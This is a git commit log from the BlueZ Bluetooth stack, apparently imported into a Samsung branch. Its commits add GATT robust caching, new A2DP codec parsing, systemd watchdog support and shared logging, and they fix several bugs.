Luiz Augusto von Dentz [Tue, 6 Mar 2018 08:29:25 +0000 (10:29 +0200)]
shared/gatt-client: Read database hash if available
This reads the database hash if available and compares to the existing
value, if it matches consider the discovery is completed.
Change-Id: I5dabc14550049afe4bc1e4c6ab790cd2d25e57e2
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 2 Mar 2018 12:27:48 +0000 (14:27 +0200)]
gatt: Implement Robust Caching handling for server
This detects when a client becomes change-unware returning
DB Out of Sync error when that happens.
Change-Id: I0377d966ac00fbb5e17b0f2b74c660ca72d71c83
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 25 Apr 2018 12:06:47 +0000 (15:06 +0300)]
shared/gatt-server: Add bt_gatt_server_set_authorize
bt_gatt_server_set_authorize can be used to set the callback to
authorize attribute operations which is required in order to send
out of sync error as that has to happen even in case the handle is
not valid.
Change-Id: I884c18492254b8401966a83b448e965b3f244bd6
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 2 Mar 2018 08:05:04 +0000 (10:05 +0200)]
shared/gatt-db: Add gatt_db_set_authorize
gatt_db_set_authorize can be used to set the callback to authorize
attribute operations.
Change-Id: Ibf79fc30ce75cff20c235371507c05ad02739105
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Mar 2018 15:43:22 +0000 (17:43 +0200)]
gatt: Add caching support for server
This registers both Client Features and Database Hash Characteristics
which are mandatory for the server.
Change-Id: Ic4d808830fbc54852e77fc7a741fbf9e9d61e44b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 5 Mar 2018 09:33:48 +0000 (11:33 +0200)]
shared/gatt-db: Generate database hash
This use bt_crypto_hash (AES-CMAC) to generate a database hash
using the content of the attribute:
In ascending order of attribute handles, starting with the first handle,
concatenate the fields Attribute Handle, Attribute Type, and Attribute
Value if the attribute has one of the following types:
«Primary Service», «Secondary Service», «Included Service»,
«Characteristic», or «Characteristic Extended Properties», concatenate
the fields Attribute Handle and Attribute Type if the attribute has one
of the following types: «Characteristic User Description»,
«Client Characteristic Configuration»,
«Server Characteristic Configuration», «Characteristic Format», or
«Characteristic Aggregate Format», and ignore the attribute if it has
any other type (such attributes are not part of the concatenation).
Change-Id: If27ed2e2a6bfbf2549492061c928cf64afbaf10e
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Mar 2018 15:41:05 +0000 (17:41 +0200)]
shared/gatt-db: Introduce Database Hash
This introduces a database hash which is generate whenever the database
changes.
Change-Id: I901800b64b7811527b7b978498ac8f0ceebe7403
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 6 Mar 2018 15:56:13 +0000 (17:56 +0200)]
monitor: Decode GATT Caching errors
This enables decoding of Database Out of Sync and Value Not Allowed
ATT errors introduced with GATT Caching improvements.
Change-Id: Ia130b26716745691b3cf72e81d2b9aac643657b5
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Mar 2018 15:39:21 +0000 (17:39 +0200)]
shared/att-types: Add errors introduced by GATT caching
This adds Database Out of Sync and Value Not Allowed errors.
Change-Id: Icfc819ee46fc159e665c2e4becfef6d779da66a7
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 6 Mar 2018 14:58:14 +0000 (16:58 +0200)]
shared/util: Add decoding support for GATT caching attributes
This adds support to decode Client Supported Features and Database
Hash.
Change-Id: I1b7bbff5a4882d478158f5545d89783d09831b83
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 1 Mar 2018 15:36:47 +0000 (17:36 +0200)]
lib/uuid: Introduce definition for GATT caching attributes
This introduces UUIDs for Client Features and Database Hash
characteristics.
Change-Id: I17fb8fd9db5309bec713b72a3ac9caee14f04974
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 5 Mar 2018 14:36:55 +0000 (16:36 +0200)]
unit/test-crypto: Add test for bt_crypto_gatt_hash
This adds test case base on the example given in the spec.
Change-Id: Ibc713afd03926375087c248a4fe9882784ea95a7
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 5 Mar 2018 09:30:43 +0000 (11:30 +0200)]
shared/crypto: Add bt_crypto_gatt_hash
The bt_crypto_gatt_hash uses AES-CCM to create a hash with the contents
stored in the iovec.
Note: The spec disregards the byte order so both the key, msg and res
are not swapped.
Change-Id: Ifaa2b5ce256c17344b6a78b5f056ad5b1d63e1d7
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 30 Jan 2019 13:24:18 +0000 (15:24 +0200)]
client: Don't expose pointer value in attribute path
Instead use the position in the list to create a unique path:
[bluetooth]# register-service 0x1820
[NEW] Primary Service (Handle 0x0000)
/org/bluez/app/service0
0x1820
Internet Protocol Support
Change-Id: I79485003fd2b645ff5e8698c98f52ba4ae9ce8cd
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 29 Jan 2019 14:20:41 +0000 (16:20 +0200)]
client: Enable list-attributes to print local attributes
This enable passing "local" to list-attributes to print the attributes
registered locally:
> list-attributes local
Primary Service (Handle 0x0400)
/org/bluez/app/service0x74ccb0
0x1820
Internet Protocol Support
Change-Id: I13a383687c6c653097917093388f1ec41ce656f4
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 28 Jan 2019 18:52:23 +0000 (20:52 +0200)]
client: Enable setting attribute handles
This emulates application setting their attribute handles.
Change-Id: Ia5e84fbc3ed591856680fb025238b12f451f1e7c
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 28 Jan 2019 15:21:27 +0000 (17:21 +0200)]
client: Enable Handle property for GATT attributes
This enable bluetoothd to write back the actual value of attribute
handles.
Change-Id: I6ac327f90c2be775fa72fd95cc200a638b950358
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 28 Jan 2019 15:19:13 +0000 (17:19 +0200)]
gatt: Write back the handle to Handle property
If the application has set an attribute with Handle set to 0 inform the
allocated handle by writting the Handle property.
Change-Id: Ia1e9d3bcc55d1f7a476560c0d8bb712cdaf45194
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 28 Jan 2019 14:39:51 +0000 (16:39 +0200)]
gatt: Implement Handle property
This parses the Handle property and if it exists attempt to insert
attributes in their locations.
Change-Id: I90f34b5dae5415a4243a643d0ab034c964fd8c6b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 28 Jan 2019 14:38:17 +0000 (16:38 +0200)]
shared/gatt-db: Allow passing 0 as handle to gatt_db_insert_*
Handle 0 should be allocate on the next handle just as any of
gatt_db_add_* functions.
Change-Id: I5d16794c2db66203c2ccae0893ce42505f33f62f
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 25 Jan 2019 14:32:48 +0000 (16:32 +0200)]
doc/gatt-api: Add Handle property
When acting as server it is useful to select where to allocate the
handle for an attribute so it can be restored in the same position when
restarting the daemon or rebooting the system.
In order to do that the application also needs to know in which handle
the attribute is allocated the very first time it is registered, this
also allows for a better integration with PTS and tools like auto-pts
which needs to know the handles where the attributes have been
allocated.
Change-Id: I298c07b8e6e6cb1bc163412b5c7acaed9a64b004
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Tue, 29 Jan 2019 17:12:07 +0000 (18:12 +0100)]
a2dp-codecs: Fix SBC_MAX_BITPOOL and add SBC quality modes
According to A2DP specification; section SBC; Codec Specific Information
Elements; Minimum / Maximum Bitpool Value, range for Bitpool value is from
2 to 250.
A2DP specification also defines bitpool values for two SBC modes: Middle
Quality and High Quality. They depends on channel mode and frequency. So
add definitions for them into a2dp-codecs file too.
File android/hal-audio-sbc.c was updated to use High Quality mode for
chosen frequency.
Change-Id: I77cfd4c13314abf223e64cec5bab98f1d42b92a6
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sat, 26 Jan 2019 10:24:15 +0000 (11:24 +0100)]
avinfo: Fix parsing capabilities
Function print_caps() expects capabilities buffer without AVDTP header.
Previously avinfo somehow worked, because AVDTP header looks like
capability header with unknown category which was skipped.
Change-Id: Ieaf08b3cd128893d29b11d92f13f0d301059a26e
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sat, 26 Jan 2019 10:24:50 +0000 (11:24 +0100)]
avinfo: Dump unknown codecs and unknown categories
Change-Id: Id80736771383aa6e33d66d52009c7bbc562b09ee
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sat, 26 Jan 2019 10:46:06 +0000 (11:46 +0100)]
a2dp-codecs & avinfo: Simplify defintions and parsing of aptX family
Reuse whole a2dp_aptx_t structure and defines as they are same for aptX Low
Latency and aptX HD.
Change-Id: Ibeebd93c7c795f86ba07a8b2ce6df056c4c5c1a0
Signed-off-by: himanshu <h.himanshu@samsung.com>
Johan Hedberg [Tue, 29 Jan 2019 15:33:15 +0000 (17:33 +0200)]
lib: Add version number for Bluetooth 5.1
Change-Id: If48f1b76a41c2891b49acecc7f2bdede93b0204f
Signed-off-by: himanshu <h.himanshu@samsung.com>
Johan Hedberg [Tue, 29 Jan 2019 15:32:45 +0000 (17:32 +0200)]
monitor: Add Bluetooth 5.1 features and version information
Change-Id: I150d8cdf1780f4b06e91f2f567717d15328435a9
Signed-off-by: himanshu <h.himanshu@samsung.com>
Johan Hedberg [Tue, 29 Jan 2019 15:31:34 +0000 (17:31 +0200)]
monitor: Reformat LE features table
Bluetooth 5.1 has many features with long names, so reformat the table
before adding any new ones.
Change-Id: Id13571a5807d86c5c83b92501f69746e4495959b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 22 Jan 2019 13:28:12 +0000 (15:28 +0200)]
a2dp: Add reverse discovery
Now that remote endpoints are exposed there is a chance that a
configured device will reconnect and initiate SetConfiguration skipping
the discovery phase which is now required in order to be able to switch
endpoints, so this introduces the reverse discovery logic in order to
find out about remote endpoints capabilities if they have not been
found yet.
Change-Id: Ib92837aca13a17ccc1b37e363d157f0cdb6e13bc
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 15 Jan 2019 14:07:13 +0000 (11:07 -0300)]
a2dp: Add implementation of MediaEndpoint.Device
This adds the implementation of MediaEndpoint.Device property so the
clints don't need to guess what device the endpoint belongs.
Change-Id: I29a24302fced1922df417735b8b07d3fd92bc590
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 15 Jan 2019 14:06:04 +0000 (11:06 -0300)]
doc/media-api: Add Device property to MediaEndpoint
This adds Device property which indicates which device the endpoint
belongs to.
Change-Id: Ic93c2478aae90e856480cd6dc51df0d4e46706c8
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 8 Jan 2019 13:34:42 +0000 (10:34 -0300)]
a2dp: Cache remote endpoints
In order to always have the Endpoint interface available the remote
endpoints needs to be cached since the remote stack may config a stream
on its own there may not be a chance to discover the endpoits available
which would make it impossible to switch endpoints.
Change-Id: I2d82cc4dd30c919428c6f21b0148710a3f458689
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 8 Jan 2019 13:56:13 +0000 (10:56 -0300)]
doc/settings-storage: Add Endpoint group to cache
This documents how A2DP endpoints should be stored in the cache.
Change-Id: Id84cd397f7b065cb25a308606bfe0cf75261dc4f
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 4 Jan 2019 19:24:18 +0000 (16:24 -0300)]
a2dp: Implement MediaTransport.Endpoint
This implements MediaTransport.Endpoint property which exposes what
endpoint is being used by the transport.
Change-Id: I423a774f8b5bd57f34ac206f65f81b7cfa1a6806
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 4 Jan 2019 19:22:05 +0000 (16:22 -0300)]
doc/media-api: Add Endpoint property to MediaTransport
Adds endpoint object to MediaTransport so application can resolve which
MediaEndpoint is in use.
Change-Id: I46106a3c0fa474409a04d29cf8eb9e8f3aff9a3f
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 3 Jan 2019 16:45:43 +0000 (13:45 -0300)]
a2dp: Expose remote SEP
This implements MediaEndpoint for remote SEP which can be used by
clients to switch configuration on demand.
Change-Id: I52edc5217fd404757fd2162f9c0b7dfa65379bfb
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 3 Jan 2019 15:30:34 +0000 (12:30 -0300)]
doc/media-api: Enable MediaEndpoint to expose remote SEP
This adds the possibility to expose remote SEP using MediaEndpoint
interface to allow setting a configuration.
Change-Id: I627aee5cc4b3391c0f54fe39fe46aa0158132717
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 22 Jan 2019 12:29:54 +0000 (14:29 +0200)]
monitor/avctp: Fix parsing of GetFolderItems attributes
Attributes in GetFolderItems are 32 bytes long not 16.
Change-Id: I5d18af080373e5bf51fea6a8f935530e8c32e818
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 21 Jan 2019 11:29:09 +0000 (13:29 +0200)]
avdtp: Fix always destroying session immediatelly
In case the remote device sent a close/abort the session shall not be
free immediatelly as the remote may want to reconfigure the stream.
Change-Id: I7934f4a837c910ee80df64f24face6980dc476ad
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 13 Jan 2019 17:23:20 +0000 (18:23 +0100)]
btmon: Fix parsing A2DP FastStream codec configuration
This codec is bi-directional, therefore both sink and source directions may
be present in configuration at same time.
Some Creative headsets send more frequency bits in configuration and when
both 41kHz and 48kHz are present then headset expects 48kHz. So adjust
FastStream frequency table as find_value_bit() takes first matched bit.
Change-Id: I06430869dfb766a0099d916f2447b90196d586f3
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 11 Jan 2019 13:16:17 +0000 (10:16 -0300)]
unit: Fix fsanitize-address-use-after-scope with GCC 9
Raw data payload must be copied since the declaration goes out of
scope:
Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=202213
Change-Id: I33aa4edf5f2cac3f8d0a7995027be36d10ff8464
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Fri, 11 Jan 2019 13:14:50 +0000 (10:14 -0300)]
unit/test-sdp: Avoid extra copies when sending a PDU
Make use of writev instead of creating a separate buffer to transmit
the data.
Change-Id: I3d86b09dce12c3e5438ada46b9d77a7b94125ee5
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 9 Jan 2019 15:42:47 +0000 (12:42 -0300)]
shared/shell: Fix compilation error
asprintf return is not check which is catch by -Werror=unused-result
so in case asprintf fails don't set any prompt.
Change-Id: I8c0e3ea9151f8fb115246bde62a1850b43e7fecf
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:00:43 +0000 (11:00 +0100)]
btmon: Parse new A2DP codecs
Parse information about additional A2DP codecs: FastStream, aptX Low
Latency and aptX HD.
Change-Id: I5340eaa580539704e8658f0e9000d8667a19a608
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:21 +0000 (11:40 +0100)]
avinfo: Parse new A2DP codecs
Parse information about additional A2DP codecs: FastStream, aptX Low
Latency, aptX HD and LDAC.
Change-Id: I90d5b74cd90660500783097ba510bbad69ac8ba6
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:20 +0000 (11:40 +0100)]
a2dp-codecs: Add macros and structures for new codecs
Add additional codecs: FastStream, aptX Low Latency and aptX HD codecs.
Change-Id: I069747942b12e5eeb3ffd17818117a44ad5c373a
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:19 +0000 (11:40 +0100)]
a2dp-codecs: Properly define macros and struct for LDAC codec
Change-Id: I92f334de26bde0e7fdb470c2c8ec659c1961ee4f
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:18 +0000 (11:40 +0100)]
a2dp-codecs: Add needed includes and properly check for endian macros
Without stdint.h type uint8_t cannot be used.
And without endian.h macros __BYTE_ORDER, __LITTLE_ENDIAN and __BIG_ENDIAN
are not defined.
When both __BYTE_ORDER and __LITTLE_ENDIAN macros are not defined, then
condition #if __BYTE_ORDER == __LITTLE_ENDIAN is true.
Change-Id: I8e583cbf8c2f05cb5c2980301d383904b3e42020
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:17 +0000 (11:40 +0100)]
a2dp-codecs: Define a2dp_vendor_codec_t struct in endian neutral way
And define new macros A2DP_GET_VENDOR_ID(), A2DP_GET_CODEC_ID() and
A2DP_SET_VENDOR_ID_CODEC_ID() for easily filling a2dp_vendor_codec_t
struct.
Change-Id: Ia517e52fce660b3e5f073a3009e460da0ca7a15a
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:16 +0000 (11:40 +0100)]
a2dp-codecs & avinfo: Fix parsing MPEG bit rate values
Redefine bitrate field in a2dp_mpeg_t struct in endian neutral way and
separate vbr field according to A2DP specification. Define new macros
MPEG_GET_BITRATE() and MPEG_SET_BITRATE() for manipulating with bitrate
like for a2dp_aac_t struct.
And fix meaning of bitrate field. According to A2DP specification, it is
bitrate index, not bitrate itself. According to MPEG specification, each
MPEG layer have different bitrates for bitrate indexes. Therefore define
correctly bitrates for Layers 1, 2 and 3.
This fixes problems with parsing bitrate field in a2dp_mpeg_t struct as it
was broken due to endianity and it was broken for Layer 1 and 2 as bitrate
definitions was for Layer 3.
Change-Id: Ied2e860f5c54ccd6bbef7770959f5ac553022a56
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:15 +0000 (11:40 +0100)]
a2dp-codecs: Fix codec id for ATRAC
According to Bluetooth Assigned Numbers for Audio/Video ATRAC has codec id 0x04.
See: https://www.bluetooth.com/specifications/assigned-numbers/audio-video
Change-Id: Ia45a0ec8a415f73f6180d3b684ee39c0c70a5e57
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:14 +0000 (11:40 +0100)]
a2dp-codecs: Add SBC prefix for MIN/MAX_BITPOOL constants
Those two constants are SBC codec specific.
Change-Id: I184ab28fcc4566d02449ed07ac68c3e26d4c41cf
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:13 +0000 (11:40 +0100)]
avinfo: Show Vendor Specific Data
Change-Id: I6ac47da5f045b7214531192d5e58c82ddb3eb9b8
Signed-off-by: himanshu <h.himanshu@samsung.com>
Pali Rohár [Sun, 23 Dec 2018 10:40:12 +0000 (11:40 +0100)]
avinfo: Fix buffer overflow when parsing broken/malicious data
Check size of buffer prior casting it to struct.
Change-Id: I8a3ee8d8bf2dfef7b37a7075f2062804268de639
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 18 Dec 2018 15:01:05 +0000 (12:01 -0300)]
unit/test-gdbus-client: Fix using invalid interface name
Each element must only contain the ASCII characters "[A-Z][a-z][0-9]_"
and must not begin with a digit so '-' cannot be used.
Change-Id: I176162c288973b9db672bbb9c5eacd896dd94b41
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 18 Dec 2018 15:02:22 +0000 (12:02 -0300)]
gdbus: Split validation of object path and interface
This splits the validation of object and interface so and error is
properly printed for each of those.
Change-Id: Ic936f70c7b94b9ec51c047d10d90628c66893cde
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 5 Dec 2018 23:57:51 +0000 (20:57 -0300)]
gdbus: Make sure the object path and interface are valid
D-Bus object path and interface must be validate otherwise it can cause
errors as follow:
0 0xb7f67ab1 in __kernel_vsyscall ()
1 0xb7ca1cc1 in raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
2 0xb7ca50ee in abort () at abort.c:92
3 0xb7e30ba5 in _dbus_abort () at dbus-sysdeps.c:94
4 0xb7e267a6 in _dbus_warn_check_failed (
format=0xb7e36cd4 "arguments to %s() were incorrect, assertion \"%s\" failed in file %s line %d.\nThis is normally a bug in some application using the D-Bus library.\n") at dbus-internals.c:290
5 0xb7e16d9f in dbus_message_iter_append_basic (iter=0xbf864400, type=111,
value=0xd70940) at dbus-message.c:2586
6 0x004fcdec in emit_interfaces_added (user_data=0xd70938)
at gdbus/object.c:574
Change-Id: I84ad3ffe13e16d6275fb5f9df4013a4804ad2aaf
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 5 Dec 2018 12:17:02 +0000 (09:17 -0300)]
avrcp: Fix error creating media items
Don't use item name in the object path since it would need to be
properly escaped if the remote stack uses UID 0 even though it is
invalid to have 0 as UID:
AVRCP 1.6.1, page 84:
'The value of UID=0x0 is a special value used only to request
the metadata for the currently playing media using the
GetElementAttributes command and shall not be used for any item
in a folder.'
Change-Id: Id31a0ed0ebab207b5552466a051f1b9161d7b76b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 4 Dec 2018 19:17:57 +0000 (16:17 -0300)]
gatt: Register GATT and GAP services as SDP records
This ensures that GATT and GAP services can be discover over SDP as well
as over GATT.
Change-Id: Ibf4ac7da55ba8eb63d5e5eacf0b8ded6ae4f1aa5
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 28 Nov 2018 14:54:40 +0000 (16:54 +0200)]
shared/tester: Make use of mainloop_run_with_signal
This don't require setting up signalfd.
Change-Id: I2bc0b624e5768fc64085438054e3679cf8cbbe9b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 28 Nov 2018 14:27:38 +0000 (16:27 +0200)]
core: Make use of mainloop_run_with_signal
This don't require setting up signalfd.
Change-Id: I662835f2fb18e3d30aca89dc2150b977a46db939
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 28 Nov 2018 14:01:40 +0000 (16:01 +0200)]
shared/mainloop: Remove mainloop_set_signal
This removes mainloop_set_signal and replaces it usage with
mainloop_run_with_signal.
Change-Id: I7354a76436348520ee814c513294fdfe80a33c41
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 28 Nov 2018 13:41:35 +0000 (15:41 +0200)]
shared/mainloop: Add mainloop_run_with_signal
This consolidates the handling of signalfd in similar ways as ELL does.
Change-Id: Iaf082f7534a7444a7b3fc29ed5a6423f666f3f86
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 26 Nov 2018 16:01:47 +0000 (18:01 +0200)]
shared/timeout-glib: Check 0 id when removing timeout
If the id is 0 that makes it is invalid already.
Change-Id: Icd116c07be4db784ee8cd0be66560b14a74bc069
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 26 Nov 2018 15:48:50 +0000 (17:48 +0200)]
core: Use mainloop_sd_notify instead of sd_notify
mainloop_sd_notify takes care of sending the messages to NOTIFY_SOCKET
and includes the handling of WATCHDOG_USEC as well.
Change-Id: Ibaf2e3af9cd0d492cd10576f671e16d54dcca287
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 26 Nov 2018 14:23:37 +0000 (16:23 +0200)]
tool/btmon-logger: Use mainloop_notify instead of sd_notify
mainloop_notify takes care of sending the messages to NOTIFY_SOCKET and
includes the handling of WATCHDOG_USEC as well.
Change-Id: Iea22016e179e2714e94ac89dfa8c06d21573c277
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 26 Nov 2018 14:16:15 +0000 (16:16 +0200)]
share/mainloop: Add watchdog support
This adds watchdog notification support by sending "WATCHDOG=1" twice
as frequent as required by WATCHDOG_USEC.
Change-Id: I713883290a03961276d8f981818abbc922018bd0
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 26 Nov 2018 13:54:00 +0000 (15:54 +0200)]
share/mainloop: Add handling of NOTIFY_SOCKET
This adds handling of systemd NOTIFY_SOCKET so application using
mainloop instance do properly notify systemd what is their state.
Change-Id: Ie58d7641eb76c8e77482ad78e86ed0ecac0e0ae5
Signed-off-by: himanshu <h.himanshu@samsung.com>
Tedd Ho-Jeong An [Thu, 29 Nov 2018 23:24:26 +0000 (15:24 -0800)]
tools/btpclient: Fix compile warning with strncpy
This patch fixes the boundry warning-to-error in GCC 8.1.1 with strncpy.
Change-Id: I606199afaa5de1dc56f043160b1f6a53f3092b81
Signed-off-by: himanshu <h.himanshu@samsung.com>
Marcel Holtmann [Mon, 3 Dec 2018 18:48:08 +0000 (19:48 +0100)]
tools: Use l_main_run_with_signal instead of open coding it
Change-Id: Idca5ab5133fad95a9480c0216ad377c777d96f61
Signed-off-by: himanshu <h.himanshu@samsung.com>
Jaganath Kanakkassery [Fri, 9 Nov 2018 06:37:09 +0000 (12:07 +0530)]
btmgmt: Add BREDR PHYs in PHY Configuration commands
This basically adds BREDR packet types also in the PHY confiuration
commands & events and makes the PHYs 32 bit so that it can be
extended in future. This also add configurable PHYs in the GetPhy
command wherein only those can be selected or deselected in SetPhy.
This also adds LE prefix for LE phys to make it more
descriptive
Change-Id: I77442839d02acc308078f355037820c11f026d00
Signed-off-by: himanshu <h.himanshu@samsung.com>
Jan Engelhardt [Sun, 25 Nov 2018 09:20:05 +0000 (10:20 +0100)]
build: rename includedir to pkgincludedir
This change is similar to commit 5.50-130-g78bce4800 and does the
same, but for includedir.
Change-Id: Ie9601a14e5375a5974f0a5f846dea5608f93786e
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 22 Nov 2018 15:57:19 +0000 (17:57 +0200)]
shell: Fix artifacts when asking for user input
Instead of printing a message use set the new prompt so it is carried
over when new lines are printed. Unfortunately this has some drawbacks
as apparently readline is not really able to redisplay properly if the
prompt contain colors.
Change-Id: Iab1a1f1d485b89e446631b5f1554fbc829359e06
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 15 Nov 2018 13:53:46 +0000 (15:53 +0200)]
log: Use shared log code
Use bt_log_* to send messages to the logging channel.
Change-Id: I7d6fccb39c4570e68929d677082f4625990298a4
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Tue, 20 Nov 2018 13:23:49 +0000 (15:23 +0200)]
shared/shell: Add option to print to monitor
This adds option -m/--monitor which send output to btmon using
libshared bt_log:
= bluetoothctl: power on
= bluetoothctl: Changing power on succeeded
Change-Id: If99dc6a7090ed9b477beafe4b90fa59f357fb8b3
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Thu, 15 Nov 2018 13:52:07 +0000 (15:52 +0200)]
shared/tester: Make use of shared log
Use bt_monitor_* to send messages to the logging channel.
Change-Id: I96565c0b15441d7c8753b4b5c48397d6ef8719bd
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Wed, 7 Nov 2018 12:26:50 +0000 (14:26 +0200)]
shared/log: Add common code to interface with logging channel
This enables any code using shared to log information using the logging
channel which can then be decoded by the likes of btmon.
Change-Id: Ic910de61ec3b4f291f0ceb801a5b5a3925c9f0b2
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 19 Nov 2018 13:36:15 +0000 (15:36 +0200)]
client: Switch from write to sendmsg for Acquire*
Use sendmsg with MSG_NOSIGNAL to prevent crashes involving SIGPIPE.
Change-Id: Ib461b3ede9ead18e832a66f75ff5fde06e37cc83
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 19 Nov 2018 12:19:31 +0000 (14:19 +0200)]
doc/gatt-api: Restrict supported file descriptors
Only support sockets with AcquireWrite/AcquireNotify since pipe don't
work with sendmsg therefore MSG_NOSIGNAL cannot be used.
Change-Id: If0767e9087f875ac2e19a7e4853973f49ca8ad4b
Signed-off-by: himanshu <h.himanshu@samsung.com>
Luiz Augusto von Dentz [Mon, 19 Nov 2018 15:19:39 +0000 (17:19 +0200)]
gatt: Fix invalid read when disconnecting
In case there is a client of AcquireNotify and a disconnect happens the
code not only have to free the client object but also destroy the io
associated with it, for this reason the client object cannot be freed
until the io is destroyed otherwise it may lead to the following error:
Invalid read of size 4
at 0x63920: notify_io_destroy (gatt-client.c:1461)
by 0x63EDB: pipe_io_destroy (gatt-client.c:1082)
by 0x6405B: characteristic_free (gatt-client.c:1663)
by 0x81F33: remove_interface (object.c:667)
by 0x826CB: g_dbus_unregister_interface (object.c:1391)
by 0x85D2B: queue_remove_all (queue.c:354)
by 0x635F7: unregister_service (gatt-client.c:1893)
by 0x85CF7: queue_remove_all (queue.c:339)
by 0x661DF: btd_gatt_client_service_removed (gatt-client.c:2199)
by 0x695CB: gatt_service_removed (device.c:3747)
by 0x85B17: queue_foreach (queue.c:220)
